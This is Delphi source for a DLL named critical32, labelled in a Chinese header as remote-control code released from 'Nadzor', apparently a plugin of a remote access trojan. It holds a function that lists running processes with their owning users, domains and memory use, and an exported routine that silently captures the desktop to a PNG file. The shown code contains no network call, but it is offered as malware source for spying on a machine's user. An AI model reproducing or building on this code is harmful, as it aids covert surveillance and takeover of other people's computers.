critical32.dpr.~3~

Nadzor国外08年7月分先出远控代码

library critical32;

uses
  Windows, pngimage, tlhelp32, sysutils;

function ListProcesses():string;STDCALL;
  var User, Domain,Usage: string;
  proc,Pro: TProcessEntry32; snap: THandle;
var
  hToken: THandle;
  cbBuf: Cardinal;
  ptiUser: PTOKEN_USER;
  snu: SID_NAME_USE;
  ProcessHandle: THandle;
  UserSize, DomainSize: DWORD;
  bSuccess: Boolean;
  pmc: TProcessMemoryCounters;
  RES:string;
  exitcode:Cardinal;
begin
  Result := '';
  pmc.cb := SizeOf(pmc) ;
   snap := CreateToolHelp32SnapShot(TH32CS_SNAPALL,0);
       proc.dwSize := SizeOf(TProcessEntry32);

       try
       Process32First(snap, proc);
        repeat
              ProcessHandle := OpenProcess(PROCESS_QUERY_INFORMATION, False, proc.th32ProcessID);
              if ProcessHandle <> 0 then
              begin

              if GetProcessMemoryInfo(Processhandle, @pmc, SizeOf(pmc)) then
              begin Usage := floatTostr(pmc.WorkingSetSize div 1024 div 1024) + ' mb';
              end else begin    Usage := '0';    end;

              if OpenProcessToken(ProcessHandle, TOKEN_QUERY, hToken) then
              begin  bSuccess := GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf);
              ptiUser  := nil;
              while (not bSuccess) and (GetLastError = ERROR_INSUFFICIENT_BUFFER) do
              begin ReallocMem(ptiUser,cbBuf);bSuccess:=GetTokenInformation(hToken,TokenUser,ptiUser,cbBuf,cbBuf);end;

              CloseHandle(hToken);

              if not bSuccess then
              begin Exit; end;

              UserSize := 0;
              DomainSize := 0;

              LookupAccountSid(nil, ptiUser.User.Sid, nil, UserSize, nil, DomainSize, snu);
              if (UserSize <> 0) and (DomainSize <> 0) then
              begin
             SetLength(User, UserSize);
             SetLength(Domain, DomainSize);
             if LookupAccountSid(nil, ptiUser.User.Sid, PChar(User), UserSize,
             PChar(Domain), DomainSize, snu) then
             begin
              User :=PChar(User);
              Domain :=PChar(Domain);
             end;
             end;

            if bSuccess then
             begin
             FreeMem(ptiUser);
             end;
             end;
             CloseHandle(ProcessHandle);
             end;
             Result := Result + proc.szExeFile + '|' + User + '|' + domain+ '|' + inttostr(proc.th32ProcessID) + '|' + Usage;
    until not Process32Next(snap, proc);
    finally
    CloseHandle(snap);
    sleep(2);
        GetExitCodeThread(GetCurrentThread, ExitCode);
        TerminateThread(GetCurrentThread, ExitCode);

 end;
  
end;

function GetDesktopBitmap: HBitmap;
var
  DC, MemDC: HDC;
  Bitmap, OBitmap: HBitmap;
  BitmapWidth, BitmapHeight: integer;
begin
  DC := GetDC(GetDesktopWindow);
  MemDC := CreateCompatibleDC(DC);
  BitmapWidth := GetDeviceCaps(DC, 8);
  BitmapHeight := GetDeviceCaps(DC, 10);
  Bitmap := CreateCompatibleBitmap(DC, BitmapWidth, BitmapHeight);
  OBitmap := SelectObject(MemDC, Bitmap);
  BitBlt(MemDC, 0, 0, BitmapWidth, BitmapHeight, DC, 0, 0, SRCCOPY);
  SelectObject(MemDC, OBitmap);
  DeleteDC(MemDC);
  ReleaseDC(GetDesktopWindow, DC);
  Result := Bitmap;
end;

procedure Capture();
var
PNGObject : TPNGObject;
begin
  PngObject := TPngObject.Create;
  PngObject.AssignHandle(GetDesktopBitmap, False, 0);
  PngObject.CompressionLevel := 9;
  PngObject.SaveToFile('shot.png');
  PngObject.Free;
end;

exports
  Capture;

begin
end.